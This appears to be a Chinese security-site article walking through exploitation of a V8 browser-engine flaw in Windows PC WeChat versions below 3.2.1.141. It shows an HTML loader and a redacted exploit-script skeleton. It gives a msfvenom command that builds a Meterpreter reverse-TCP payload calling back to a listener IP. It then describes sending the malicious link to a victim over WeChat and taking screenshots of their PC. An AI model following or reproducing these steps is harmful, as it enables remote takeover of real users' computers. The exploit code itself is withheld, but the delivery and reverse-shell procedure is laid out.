官方公众号企业安全新浪微博

FreeBuf+小程序把安全装进口袋

• 漏洞

根据腾讯安全中心的公告，这是因为chrome浏览器使用的V8引擎存在安全问题导致的。该漏洞仅影响windows版本的PC版微信，且只影响3.2.1.141以下版本。

1、漏洞利用的html，通过html调用JavaScript

<script src = "wa.js"></script>

2、wa.js 这里就不展示恶意部分了

ENABLE_LOG = true;
IN_WORKER = true;
var shellcode = [ ]
·
·
·
try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

3、使用Kali自带的msfvenom生成反弹木马，并将生成十六进制添加到上面代码的shellcode中

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.65 lport=9999 -f csharp

4、再使用metersploit监听端口，设置本地ip和本地监听端口

5、再使用python开发web服务器

6、将恶意链接发送到微信，并用微信点击打开

7、此时受害者就已经中招了，可以使用screenshot命令获取受害者PC当前画面的截图，可以想做什么就做什么了